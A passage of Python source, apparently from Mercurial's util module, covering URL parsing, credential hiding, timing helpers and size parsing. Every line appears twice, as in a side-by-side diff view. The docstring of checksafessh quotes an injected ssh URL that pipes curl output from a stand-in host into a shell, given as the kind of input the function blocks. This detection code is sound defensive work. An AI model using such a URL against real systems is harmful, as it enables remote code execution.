2950 Missing components are set to None. The only exception is
2951 fragment, which is set to '' if present but empty.
2951 fragment, which is set to '' if present but empty.
2952
2952
2953 If parsefragment is False, fragment is included in query. If
2953 If parsefragment is False, fragment is included in query. If
2954 parsequery is False, query is included in path. If both are
2954 parsequery is False, query is included in path. If both are
2955 False, both fragment and query are included in path.
2955 False, both fragment and query are included in path.
2956
2956
2957 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2957 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2958
2958
2959 Note that for backward compatibility reasons, bundle URLs do not
2959 Note that for backward compatibility reasons, bundle URLs do not
2960 take host names. That means 'bundle://../' has a path of '../'.
2960 take host names. That means 'bundle://../' has a path of '../'.
2961
2961
2962 Examples:
2962 Examples:
2963
2963
2964 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2964 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2965 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2965 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2966 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2966 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2967 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2967 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2968 >>> url(b'file:///home/joe/repo')
2968 >>> url(b'file:///home/joe/repo')
2969 <url scheme: 'file', path: '/home/joe/repo'>
2969 <url scheme: 'file', path: '/home/joe/repo'>
2970 >>> url(b'file:///c:/temp/foo/')
2970 >>> url(b'file:///c:/temp/foo/')
2971 <url scheme: 'file', path: 'c:/temp/foo/'>
2971 <url scheme: 'file', path: 'c:/temp/foo/'>
2972 >>> url(b'bundle:foo')
2972 >>> url(b'bundle:foo')
2973 <url scheme: 'bundle', path: 'foo'>
2973 <url scheme: 'bundle', path: 'foo'>
2974 >>> url(b'bundle://../foo')
2974 >>> url(b'bundle://../foo')
2975 <url scheme: 'bundle', path: '../foo'>
2975 <url scheme: 'bundle', path: '../foo'>
2976 >>> url(br'c:\foo\bar')
2976 >>> url(br'c:\foo\bar')
2977 <url path: 'c:\\foo\\bar'>
2977 <url path: 'c:\\foo\\bar'>
2978 >>> url(br'\\blah\blah\blah')
2978 >>> url(br'\\blah\blah\blah')
2979 <url path: '\\\\blah\\blah\\blah'>
2979 <url path: '\\\\blah\\blah\\blah'>
2980 >>> url(br'\\blah\blah\blah#baz')
2980 >>> url(br'\\blah\blah\blah#baz')
2981 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2981 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2982 >>> url(br'file:///C:\users\me')
2982 >>> url(br'file:///C:\users\me')
2983 <url scheme: 'file', path: 'C:\\users\\me'>
2983 <url scheme: 'file', path: 'C:\\users\\me'>
2984
2984
2985 Authentication credentials:
2985 Authentication credentials:
2986
2986
2987 >>> url(b'ssh://joe:xyz@x/repo')
2987 >>> url(b'ssh://joe:xyz@x/repo')
2988 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2988 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2989 >>> url(b'ssh://joe@x/repo')
2989 >>> url(b'ssh://joe@x/repo')
2990 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2990 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2991
2991
2992 Query strings and fragments:
2992 Query strings and fragments:
2993
2993
2994 >>> url(b'http://host/a?b#c')
2994 >>> url(b'http://host/a?b#c')
2995 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2995 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2996 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2996 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2997 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2997 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2998
2998
2999 Empty path:
2999 Empty path:
3000
3000
3001 >>> url(b'')
3001 >>> url(b'')
3002 <url path: ''>
3002 <url path: ''>
3003 >>> url(b'#a')
3003 >>> url(b'#a')
3004 <url path: '', fragment: 'a'>
3004 <url path: '', fragment: 'a'>
3005 >>> url(b'http://host/')
3005 >>> url(b'http://host/')
3006 <url scheme: 'http', host: 'host', path: ''>
3006 <url scheme: 'http', host: 'host', path: ''>
3007 >>> url(b'http://host/#a')
3007 >>> url(b'http://host/#a')
3008 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3008 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3009
3009
3010 Only scheme:
3010 Only scheme:
3011
3011
3012 >>> url(b'http:')
3012 >>> url(b'http:')
3013 <url scheme: 'http'>
3013 <url scheme: 'http'>
3014 """
3014 """
3015
3015
3016 _safechars = b"!~*'()+"
3016 _safechars = b"!~*'()+"
3017 _safepchars = b"/!~*'()+:\\"
3017 _safepchars = b"/!~*'()+:\\"
3018 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3018 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3019
3019
3020 def __init__(self, path, parsequery=True, parsefragment=True):
3020 def __init__(self, path, parsequery=True, parsefragment=True):
3021 # We slowly chomp away at path until we have only the path left
3021 # We slowly chomp away at path until we have only the path left
3022 self.scheme = self.user = self.passwd = self.host = None
3022 self.scheme = self.user = self.passwd = self.host = None
3023 self.port = self.path = self.query = self.fragment = None
3023 self.port = self.path = self.query = self.fragment = None
3024 self._localpath = True
3024 self._localpath = True
3025 self._hostport = b''
3025 self._hostport = b''
3026 self._origpath = path
3026 self._origpath = path
3027
3027
3028 if parsefragment and b'#' in path:
3028 if parsefragment and b'#' in path:
3029 path, self.fragment = path.split(b'#', 1)
3029 path, self.fragment = path.split(b'#', 1)
3030
3030
3031 # special case for Windows drive letters and UNC paths
3031 # special case for Windows drive letters and UNC paths
3032 if hasdriveletter(path) or path.startswith(b'\\\\'):
3032 if hasdriveletter(path) or path.startswith(b'\\\\'):
3033 self.path = path
3033 self.path = path
3034 return
3034 return
3035
3035
3036 # For compatibility reasons, we can't handle bundle paths as
3036 # For compatibility reasons, we can't handle bundle paths as
3037 # normal URLS
3037 # normal URLS
3038 if path.startswith(b'bundle:'):
3038 if path.startswith(b'bundle:'):
3039 self.scheme = b'bundle'
3039 self.scheme = b'bundle'
3040 path = path[7:]
3040 path = path[7:]
3041 if path.startswith(b'//'):
3041 if path.startswith(b'//'):
3042 path = path[2:]
3042 path = path[2:]
3043 self.path = path
3043 self.path = path
3044 return
3044 return
3045
3045
3046 if self._matchscheme(path):
3046 if self._matchscheme(path):
3047 parts = path.split(b':', 1)
3047 parts = path.split(b':', 1)
3048 if parts[0]:
3048 if parts[0]:
3049 self.scheme, path = parts
3049 self.scheme, path = parts
3050 self._localpath = False
3050 self._localpath = False
3051
3051
3052 if not path:
3052 if not path:
3053 path = None
3053 path = None
3054 if self._localpath:
3054 if self._localpath:
3055 self.path = b''
3055 self.path = b''
3056 return
3056 return
3057 else:
3057 else:
3058 if self._localpath:
3058 if self._localpath:
3059 self.path = path
3059 self.path = path
3060 return
3060 return
3061
3061
3062 if parsequery and b'?' in path:
3062 if parsequery and b'?' in path:
3063 path, self.query = path.split(b'?', 1)
3063 path, self.query = path.split(b'?', 1)
3064 if not path:
3064 if not path:
3065 path = None
3065 path = None
3066 if not self.query:
3066 if not self.query:
3067 self.query = None
3067 self.query = None
3068
3068
3069 # // is required to specify a host/authority
3069 # // is required to specify a host/authority
3070 if path and path.startswith(b'//'):
3070 if path and path.startswith(b'//'):
3071 parts = path[2:].split(b'/', 1)
3071 parts = path[2:].split(b'/', 1)
3072 if len(parts) > 1:
3072 if len(parts) > 1:
3073 self.host, path = parts
3073 self.host, path = parts
3074 else:
3074 else:
3075 self.host = parts[0]
3075 self.host = parts[0]
3076 path = None
3076 path = None
3077 if not self.host:
3077 if not self.host:
3078 self.host = None
3078 self.host = None
3079 # path of file:///d is /d
3079 # path of file:///d is /d
3080 # path of file:///d:/ is d:/, not /d:/
3080 # path of file:///d:/ is d:/, not /d:/
3081 if path and not hasdriveletter(path):
3081 if path and not hasdriveletter(path):
3082 path = b'/' + path
3082 path = b'/' + path
3083
3083
3084 if self.host and b'@' in self.host:
3084 if self.host and b'@' in self.host:
3085 self.user, self.host = self.host.rsplit(b'@', 1)
3085 self.user, self.host = self.host.rsplit(b'@', 1)
3086 if b':' in self.user:
3086 if b':' in self.user:
3087 self.user, self.passwd = self.user.split(b':', 1)
3087 self.user, self.passwd = self.user.split(b':', 1)
3088 if not self.host:
3088 if not self.host:
3089 self.host = None
3089 self.host = None
3090
3090
3091 # Don't split on colons in IPv6 addresses without ports
3091 # Don't split on colons in IPv6 addresses without ports
3092 if (
3092 if (
3093 self.host
3093 self.host
3094 and b':' in self.host
3094 and b':' in self.host
3095 and not (
3095 and not (
3096 self.host.startswith(b'[') and self.host.endswith(b']')
3096 self.host.startswith(b'[') and self.host.endswith(b']')
3097 )
3097 )
3098 ):
3098 ):
3099 self._hostport = self.host
3099 self._hostport = self.host
3100 self.host, self.port = self.host.rsplit(b':', 1)
3100 self.host, self.port = self.host.rsplit(b':', 1)
3101 if not self.host:
3101 if not self.host:
3102 self.host = None
3102 self.host = None
3103
3103
3104 if (
3104 if (
3105 self.host
3105 self.host
3106 and self.scheme == b'file'
3106 and self.scheme == b'file'
3107 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3107 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3108 ):
3108 ):
3109 raise error.Abort(
3109 raise error.Abort(
3110 _(b'file:// URLs can only refer to localhost')
3110 _(b'file:// URLs can only refer to localhost')
3111 )
3111 )
3112
3112
3113 self.path = path
3113 self.path = path
3114
3114
3115 # leave the query string escaped
3115 # leave the query string escaped
3116 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3116 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3117 v = getattr(self, a)
3117 v = getattr(self, a)
3118 if v is not None:
3118 if v is not None:
3119 setattr(self, a, urlreq.unquote(v))
3119 setattr(self, a, urlreq.unquote(v))
3120
3120
3121 @encoding.strmethod
3121 @encoding.strmethod
3122 def __repr__(self):
3122 def __repr__(self):
3123 attrs = []
3123 attrs = []
3124 for a in (
3124 for a in (
3125 b'scheme',
3125 b'scheme',
3126 b'user',
3126 b'user',
3127 b'passwd',
3127 b'passwd',
3128 b'host',
3128 b'host',
3129 b'port',
3129 b'port',
3130 b'path',
3130 b'path',
3131 b'query',
3131 b'query',
3132 b'fragment',
3132 b'fragment',
3133 ):
3133 ):
3134 v = getattr(self, a)
3134 v = getattr(self, a)
3135 if v is not None:
3135 if v is not None:
3136 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3136 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3137 return b'<url %s>' % b', '.join(attrs)
3137 return b'<url %s>' % b', '.join(attrs)
3138
3138
3139 def __bytes__(self):
3139 def __bytes__(self):
3140 r"""Join the URL's components back into a URL string.
3140 r"""Join the URL's components back into a URL string.
3141
3141
3142 Examples:
3142 Examples:
3143
3143
3144 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3144 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3145 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3145 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3146 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3146 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3147 'http://user:pw@host:80/?foo=bar&baz=42'
3147 'http://user:pw@host:80/?foo=bar&baz=42'
3148 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3148 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3149 'http://user:pw@host:80/?foo=bar%3dbaz'
3149 'http://user:pw@host:80/?foo=bar%3dbaz'
3150 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3150 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3151 'ssh://user:pw@[::1]:2200//home/joe#'
3151 'ssh://user:pw@[::1]:2200//home/joe#'
3152 >>> bytes(url(b'http://localhost:80//'))
3152 >>> bytes(url(b'http://localhost:80//'))
3153 'http://localhost:80//'
3153 'http://localhost:80//'
3154 >>> bytes(url(b'http://localhost:80/'))
3154 >>> bytes(url(b'http://localhost:80/'))
3155 'http://localhost:80/'
3155 'http://localhost:80/'
3156 >>> bytes(url(b'http://localhost:80'))
3156 >>> bytes(url(b'http://localhost:80'))
3157 'http://localhost:80/'
3157 'http://localhost:80/'
3158 >>> bytes(url(b'bundle:foo'))
3158 >>> bytes(url(b'bundle:foo'))
3159 'bundle:foo'
3159 'bundle:foo'
3160 >>> bytes(url(b'bundle://../foo'))
3160 >>> bytes(url(b'bundle://../foo'))
3161 'bundle:../foo'
3161 'bundle:../foo'
3162 >>> bytes(url(b'path'))
3162 >>> bytes(url(b'path'))
3163 'path'
3163 'path'
3164 >>> bytes(url(b'file:///tmp/foo/bar'))
3164 >>> bytes(url(b'file:///tmp/foo/bar'))
3165 'file:///tmp/foo/bar'
3165 'file:///tmp/foo/bar'
3166 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3166 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3167 'file:///c:/tmp/foo/bar'
3167 'file:///c:/tmp/foo/bar'
3168 >>> print(url(br'bundle:foo\bar'))
3168 >>> print(url(br'bundle:foo\bar'))
3169 bundle:foo\bar
3169 bundle:foo\bar
3170 >>> print(url(br'file:///D:\data\hg'))
3170 >>> print(url(br'file:///D:\data\hg'))
3171 file:///D:\data\hg
3171 file:///D:\data\hg
3172 """
3172 """
3173 if self._localpath:
3173 if self._localpath:
3174 s = self.path
3174 s = self.path
3175 if self.scheme == b'bundle':
3175 if self.scheme == b'bundle':
3176 s = b'bundle:' + s
3176 s = b'bundle:' + s
3177 if self.fragment:
3177 if self.fragment:
3178 s += b'#' + self.fragment
3178 s += b'#' + self.fragment
3179 return s
3179 return s
3180
3180
3181 s = self.scheme + b':'
3181 s = self.scheme + b':'
3182 if self.user or self.passwd or self.host:
3182 if self.user or self.passwd or self.host:
3183 s += b'//'
3183 s += b'//'
3184 elif self.scheme and (
3184 elif self.scheme and (
3185 not self.path
3185 not self.path
3186 or self.path.startswith(b'/')
3186 or self.path.startswith(b'/')
3187 or hasdriveletter(self.path)
3187 or hasdriveletter(self.path)
3188 ):
3188 ):
3189 s += b'//'
3189 s += b'//'
3190 if hasdriveletter(self.path):
3190 if hasdriveletter(self.path):
3191 s += b'/'
3191 s += b'/'
3192 if self.user:
3192 if self.user:
3193 s += urlreq.quote(self.user, safe=self._safechars)
3193 s += urlreq.quote(self.user, safe=self._safechars)
3194 if self.passwd:
3194 if self.passwd:
3195 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3195 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3196 if self.user or self.passwd:
3196 if self.user or self.passwd:
3197 s += b'@'
3197 s += b'@'
3198 if self.host:
3198 if self.host:
3199 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3199 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3200 s += urlreq.quote(self.host)
3200 s += urlreq.quote(self.host)
3201 else:
3201 else:
3202 s += self.host
3202 s += self.host
3203 if self.port:
3203 if self.port:
3204 s += b':' + urlreq.quote(self.port)
3204 s += b':' + urlreq.quote(self.port)
3205 if self.host:
3205 if self.host:
3206 s += b'/'
3206 s += b'/'
3207 if self.path:
3207 if self.path:
3208 # TODO: similar to the query string, we should not unescape the
3208 # TODO: similar to the query string, we should not unescape the
3209 # path when we store it, the path might contain '%2f' = '/',
3209 # path when we store it, the path might contain '%2f' = '/',
3210 # which we should *not* escape.
3210 # which we should *not* escape.
3211 s += urlreq.quote(self.path, safe=self._safepchars)
3211 s += urlreq.quote(self.path, safe=self._safepchars)
3212 if self.query:
3212 if self.query:
3213 # we store the query in escaped form.
3213 # we store the query in escaped form.
3214 s += b'?' + self.query
3214 s += b'?' + self.query
3215 if self.fragment is not None:
3215 if self.fragment is not None:
3216 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3216 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3217 return s
3217 return s
3218
3218
3219 __str__ = encoding.strmethod(__bytes__)
3219 __str__ = encoding.strmethod(__bytes__)
3220
3220
3221 def authinfo(self):
3221 def authinfo(self):
3222 user, passwd = self.user, self.passwd
3222 user, passwd = self.user, self.passwd
3223 try:
3223 try:
3224 self.user, self.passwd = None, None
3224 self.user, self.passwd = None, None
3225 s = bytes(self)
3225 s = bytes(self)
3226 finally:
3226 finally:
3227 self.user, self.passwd = user, passwd
3227 self.user, self.passwd = user, passwd
3228 if not self.user:
3228 if not self.user:
3229 return (s, None)
3229 return (s, None)
3230 # authinfo[1] is passed to urllib2 password manager, and its
3230 # authinfo[1] is passed to urllib2 password manager, and its
3231 # URIs must not contain credentials. The host is passed in the
3231 # URIs must not contain credentials. The host is passed in the
3232 # URIs list because Python < 2.4.3 uses only that to search for
3232 # URIs list because Python < 2.4.3 uses only that to search for
3233 # a password.
3233 # a password.
3234 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3234 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3235
3235
3236 def isabs(self):
3236 def isabs(self):
3237 if self.scheme and self.scheme != b'file':
3237 if self.scheme and self.scheme != b'file':
3238 return True # remote URL
3238 return True # remote URL
3239 if hasdriveletter(self.path):
3239 if hasdriveletter(self.path):
3240 return True # absolute for our purposes - can't be joined()
3240 return True # absolute for our purposes - can't be joined()
3241 if self.path.startswith(br'\\'):
3241 if self.path.startswith(br'\\'):
3242 return True # Windows UNC path
3242 return True # Windows UNC path
3243 if self.path.startswith(b'/'):
3243 if self.path.startswith(b'/'):
3244 return True # POSIX-style
3244 return True # POSIX-style
3245 return False
3245 return False
3246
3246
3247 def localpath(self):
3247 def localpath(self):
3248 if self.scheme == b'file' or self.scheme == b'bundle':
3248 if self.scheme == b'file' or self.scheme == b'bundle':
3249 path = self.path or b'/'
3249 path = self.path or b'/'
3250 # For Windows, we need to promote hosts containing drive
3250 # For Windows, we need to promote hosts containing drive
3251 # letters to paths with drive letters.
3251 # letters to paths with drive letters.
3252 if hasdriveletter(self._hostport):
3252 if hasdriveletter(self._hostport):
3253 path = self._hostport + b'/' + self.path
3253 path = self._hostport + b'/' + self.path
3254 elif (
3254 elif (
3255 self.host is not None and self.path and not hasdriveletter(path)
3255 self.host is not None and self.path and not hasdriveletter(path)
3256 ):
3256 ):
3257 path = b'/' + path
3257 path = b'/' + path
3258 return path
3258 return path
3259 return self._origpath
3259 return self._origpath
3260
3260
3261 def islocal(self):
3261 def islocal(self):
3262 '''whether localpath will return something that posixfile can open'''
3262 '''whether localpath will return something that posixfile can open'''
3263 return (
3263 return (
3264 not self.scheme
3264 not self.scheme
3265 or self.scheme == b'file'
3265 or self.scheme == b'file'
3266 or self.scheme == b'bundle'
3266 or self.scheme == b'bundle'
3267 )
3267 )
3268
3268
3269
3269
3270 def hasscheme(path):
3270 def hasscheme(path):
3271 return bool(url(path).scheme)
3271 return bool(url(path).scheme)
3272
3272
3273
3273
3274 def hasdriveletter(path):
3274 def hasdriveletter(path):
3275 return path and path[1:2] == b':' and path[0:1].isalpha()
3275 return path and path[1:2] == b':' and path[0:1].isalpha()
3276
3276
3277
3277
3278 def urllocalpath(path):
3278 def urllocalpath(path):
3279 return url(path, parsequery=False, parsefragment=False).localpath()
3279 return url(path, parsequery=False, parsefragment=False).localpath()
3280
3280
3281
3281
3282 def checksafessh(path):
3282 def checksafessh(path):
3283 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3283 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3284
3284
3285 This is a sanity check for ssh urls. ssh will parse the first item as
3285 This is a sanity check for ssh urls. ssh will parse the first item as
3286 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3286 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3287 Let's prevent these potentially exploited urls entirely and warn the
3287 Let's prevent these potentially exploited urls entirely and warn the
3288 user.
3288 user.
3289
3289
3290 Raises an error.Abort when the url is unsafe.
3290 Raises an error.Abort when the url is unsafe.
3291 """
3291 """
3292 path = urlreq.unquote(path)
3292 path = urlreq.unquote(path)
3293 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3293 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3294 raise error.Abort(
3294 raise error.Abort(
3295 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3295 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3296 )
3296 )
3297
3297
3298
3298
3299 def hidepassword(u):
3299 def hidepassword(u):
3300 '''hide user credential in a url string'''
3300 '''hide user credential in a url string'''
3301 u = url(u)
3301 u = url(u)
3302 if u.passwd:
3302 if u.passwd:
3303 u.passwd = b'***'
3303 u.passwd = b'***'
3304 return bytes(u)
3304 return bytes(u)
3305
3305
3306
3306
3307 def removeauth(u):
3307 def removeauth(u):
3308 '''remove all authentication information from a url string'''
3308 '''remove all authentication information from a url string'''
3309 u = url(u)
3309 u = url(u)
3310 u.user = u.passwd = None
3310 u.user = u.passwd = None
3311 return bytes(u)
3311 return bytes(u)
3312
3312
3313
3313
3314 timecount = unitcountfn(
3314 timecount = unitcountfn(
3315 (1, 1e3, _(b'%.0f s')),
3315 (1, 1e3, _(b'%.0f s')),
3316 (100, 1, _(b'%.1f s')),
3316 (100, 1, _(b'%.1f s')),
3317 (10, 1, _(b'%.2f s')),
3317 (10, 1, _(b'%.2f s')),
3318 (1, 1, _(b'%.3f s')),
3318 (1, 1, _(b'%.3f s')),
3319 (100, 0.001, _(b'%.1f ms')),
3319 (100, 0.001, _(b'%.1f ms')),
3320 (10, 0.001, _(b'%.2f ms')),
3320 (10, 0.001, _(b'%.2f ms')),
3321 (1, 0.001, _(b'%.3f ms')),
3321 (1, 0.001, _(b'%.3f ms')),
3322 (100, 0.000001, _(b'%.1f us')),
3322 (100, 0.000001, _(b'%.1f us')),
3323 (10, 0.000001, _(b'%.2f us')),
3323 (10, 0.000001, _(b'%.2f us')),
3324 (1, 0.000001, _(b'%.3f us')),
3324 (1, 0.000001, _(b'%.3f us')),
3325 (100, 0.000000001, _(b'%.1f ns')),
3325 (100, 0.000000001, _(b'%.1f ns')),
3326 (10, 0.000000001, _(b'%.2f ns')),
3326 (10, 0.000000001, _(b'%.2f ns')),
3327 (1, 0.000000001, _(b'%.3f ns')),
3327 (1, 0.000000001, _(b'%.3f ns')),
3328 )
3328 )
3329
3329
3330
3330
3331 @attr.s
3331 @attr.s
3332 class timedcmstats(object):
3332 class timedcmstats(object):
3333 """Stats information produced by the timedcm context manager on entering."""
3333 """Stats information produced by the timedcm context manager on entering."""
3334
3334
3335 # the starting value of the timer as a float (meaning and resulution is
3335 # the starting value of the timer as a float (meaning and resulution is
3336 # platform dependent, see util.timer)
3336 # platform dependent, see util.timer)
3337 start = attr.ib(default=attr.Factory(lambda: timer()))
3337 start = attr.ib(default=attr.Factory(lambda: timer()))
3338 # the number of seconds as a floating point value; starts at 0, updated when
3338 # the number of seconds as a floating point value; starts at 0, updated when
3339 # the context is exited.
3339 # the context is exited.
3340 elapsed = attr.ib(default=0)
3340 elapsed = attr.ib(default=0)
3341 # the number of nested timedcm context managers.
3341 # the number of nested timedcm context managers.
3342 level = attr.ib(default=1)
3342 level = attr.ib(default=1)
3343
3343
3344 def __bytes__(self):
3344 def __bytes__(self):
3345 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3345 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3346
3346
3347 __str__ = encoding.strmethod(__bytes__)
3347 __str__ = encoding.strmethod(__bytes__)
3348
3348
3349
3349
3350 @contextlib.contextmanager
3350 @contextlib.contextmanager
3351 def timedcm(whencefmt, *whenceargs):
3351 def timedcm(whencefmt, *whenceargs):
3352 """A context manager that produces timing information for a given context.
3352 """A context manager that produces timing information for a given context.
3353
3353
3354 On entering a timedcmstats instance is produced.
3354 On entering a timedcmstats instance is produced.
3355
3355
3356 This context manager is reentrant.
3356 This context manager is reentrant.
3357
3357
3358 """
3358 """
3359 # track nested context managers
3359 # track nested context managers
3360 timedcm._nested += 1
3360 timedcm._nested += 1
3361 timing_stats = timedcmstats(level=timedcm._nested)
3361 timing_stats = timedcmstats(level=timedcm._nested)
3362 try:
3362 try:
3363 with tracing.log(whencefmt, *whenceargs):
3363 with tracing.log(whencefmt, *whenceargs):
3364 yield timing_stats
3364 yield timing_stats
3365 finally:
3365 finally:
3366 timing_stats.elapsed = timer() - timing_stats.start
3366 timing_stats.elapsed = timer() - timing_stats.start
3367 timedcm._nested -= 1
3367 timedcm._nested -= 1
3368
3368
3369
3369
3370 timedcm._nested = 0
3370 timedcm._nested = 0
3371
3371
3372
3372
3373 def timed(func):
3373 def timed(func):
3374 '''Report the execution time of a function call to stderr.
3374 '''Report the execution time of a function call to stderr.
3375
3375
3376 During development, use as a decorator when you need to measure
3376 During development, use as a decorator when you need to measure
3377 the cost of a function, e.g. as follows:
3377 the cost of a function, e.g. as follows:
3378
3378
3379 @util.timed
3379 @util.timed
3380 def foo(a, b, c):
3380 def foo(a, b, c):
3381 pass
3381 pass
3382 '''
3382 '''
3383
3383
3384 def wrapper(*args, **kwargs):
3384 def wrapper(*args, **kwargs):
3385 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3385 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3386 result = func(*args, **kwargs)
3386 result = func(*args, **kwargs)
3387 stderr = procutil.stderr
3387 stderr = procutil.stderr
3388 stderr.write(
3388 stderr.write(
3389 b'%s%s: %s\n'
3389 b'%s%s: %s\n'
3390 % (
3390 % (
3391 b' ' * time_stats.level * 2,
3391 b' ' * time_stats.level * 2,
3392 pycompat.bytestr(func.__name__),
3392 pycompat.bytestr(func.__name__),
3393 time_stats,
3393 time_stats,
3394 )
3394 )
3395 )
3395 )
3396 return result
3396 return result
3397
3397
3398 return wrapper
3398 return wrapper
3399
3399
3400
3400
3401 _sizeunits = (
3401 _sizeunits = (
3402 (b'm', 2 ** 20),
3402 (b'm', 2 ** 20),
3403 (b'k', 2 ** 10),
3403 (b'k', 2 ** 10),
3404 (b'g', 2 ** 30),
3404 (b'g', 2 ** 30),
3405 (b'kb', 2 ** 10),
3405 (b'kb', 2 ** 10),
3406 (b'mb', 2 ** 20),
3406 (b'mb', 2 ** 20),
3407 (b'gb', 2 ** 30),
3407 (b'gb', 2 ** 30),
3408 (b'b', 1),
3408 (b'b', 1),
3409 )
3409 )
3410
3410
3411
3411
3412 def sizetoint(s):
3412 def sizetoint(s):
3413 '''Convert a space specifier to a byte count.
3413 '''Convert a space specifier to a byte count.
3414
3414
3415 >>> sizetoint(b'30')
3415 >>> sizetoint(b'30')
3416 30
3416 30
3417 >>> sizetoint(b'2.2kb')
3417 >>> sizetoint(b'2.2kb')
3418 2252
3418 2252
3419 >>> sizetoint(b'6M')
3419 >>> sizetoint(b'6M')
3420 6291456
3420 6291456
3421 '''
3421 '''
3422 t = s.strip().lower()
3422 t = s.strip().lower()
3423 try:
3423 try:
3424 for k, u in _sizeunits:
3424 for k, u in _sizeunits:
3425 if t.endswith(k):
3425 if t.endswith(k):
3426 return int(float(t[: -len(k)]) * u)
3426 return int(float(t[: -len(k)]) * u)
3427 return int(t)
3427 return int(t)
3428 except ValueError:
3428 except ValueError:
3429 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3429 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3430
3430
3431
3431
3432 class hooks(object):
3432 class hooks(object):
3433 '''A collection of hook functions that can be used to extend a
3433 '''A collection of hook functions that can be used to extend a
3434 function's behavior. Hooks are called in lexicographic order,
3434 function's behavior. Hooks are called in lexicographic order,
3435 based on the names of their sources.'''
3435 based on the names of their sources.'''
3436
3436
3437 def __init__(self):
3437 def __init__(self):
3438 self._hooks = []
3438 self._hooks = []
3439
3439
3440 def add(self, source, hook):
3440 def add(self, source, hook):
3441 self._hooks.append((source, hook))
3441 self._hooks.append((source, hook))
3442
3442
3443 def __call__(self, *args):
3443 def __call__(self, *args):
3444 self._hooks.sort(key=lambda x: x[0])
3444 self._hooks.sort(key=lambda x: x[0])
3445 results = []
3445 results = []
3446 for source, hook in self._hooks:
3446 for source, hook in self._hooks:
3447 results.append(hook(*args))
3447 results.append(hook(*args))
3448 return results
3448 return results
3449
3449
3450
3450
3451 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3451 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3452 '''Yields lines for a nicely formatted stacktrace.
3452 '''Yields lines for a nicely formatted stacktrace.
3453 Skips the 'skip' last entries, then return the last 'depth' entries.
3453 Skips the 'skip' last entries, then return the last 'depth' entries.
3454 Each file+linenumber is formatted according to fileline.
3454 Each file+linenumber is formatted according to fileline.
3455 Each line is formatted according to line.
3455 Each line is formatted according to line.
3456 If line is None, it yields:
3456 If line is None, it yields:
3457 length of longest filepath+line number,
3457 length of longest filepath+line number,
3458 filepath+linenumber,
3458 filepath+linenumber,
3459 function
3459 function
3460
3460
3461 Not be used in production code but very convenient while developing.
3461 Not be used in production code but very convenient while developing.
